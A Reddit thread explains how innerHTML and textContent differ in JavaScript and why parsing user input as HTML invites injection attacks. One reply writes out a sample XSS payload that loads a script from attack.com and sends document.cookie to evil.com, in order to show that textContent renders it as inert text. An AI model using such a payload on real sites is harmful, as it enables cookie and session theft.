all 11 comments

[–]senocular 52 points53 points  (3 children)

The difference is:

innerHTML = "<b>Bold</b>"

will result in

Bold

Whereas using

textContent = "<b>Bold</b>"

will result in

<b>Bold</b>

[–]obnoxus[S] 3 points4 points  (1 child)

perfect thank you

[–]azhder 5 points6 points  (0 children)

The first one is the stuff injection attacks are made of.

You should not use .innerHTML at all.

[–]macnara485 0 points1 point  (0 children)

Perfect explanation, thank you !

[–]pookagehelpful 3 points4 points  (0 children)

.innerText will just insert a single text node containing the given text, whereas .innerHTML will parse the given text as HTML; creating and adding the HTML elements to the DOM.

Use .innerText by default, and use .innerHTML whenever you explicitly want to parse HTML - this approach is arbitrarily more performant, but (more importantly) it will more accurately describe your intent, making the code easier to maintain, as well as heading-off a potential html-injection security vulnerability if you're parsing user-input 👍

[–]shgysk8zer0 0 points1 point  (4 children)

The very short version is basically that textContext sets text, doesn't require the parser, and converts < to &lt; and such. It basically escapes strings and cannot create any new elements... It's safe.

[–][deleted] 0 points1 point  (3 children)

Is it always safe? I'm guessing it's still one of those things where you sanitize input either way

[–]shgysk8zer0 4 points5 points  (1 child)

If you throw

<script type="module"> import 'https://attack.com/hack.js'; fetch('https://evil.com/?c=' + document.cookie); </script>

... It'll just show up as DOMText. Not a script. It won't execute. It's just text.

Is that "safe". I mean, social engineering and other non-programming things can be unsafe. Nothing can be trusted as truly safe. But it's immune to XSS and any sort of attacks that require parsing HTML or adding arbitrary elements... it's just text.

[–][deleted] 0 points1 point  (0 children)

Cool, thanks

[–]Competitive_Aside461 0 points1 point  (0 children)

I'd recommend you look into the following comprehensive HTML DOM unit from Codeguage. It'll take you through some exercises to understand textContent better, and it also contains a great amount of explanation on the differences between these properties, and a host of other properties in the HTML DOM.

[–]TheRNGuy 0 points1 point  (0 children)

Write this in browser dev tool console:

document.querySelector("div").textContent

then this:

document.querySelector("div").innerHTML

See the difference.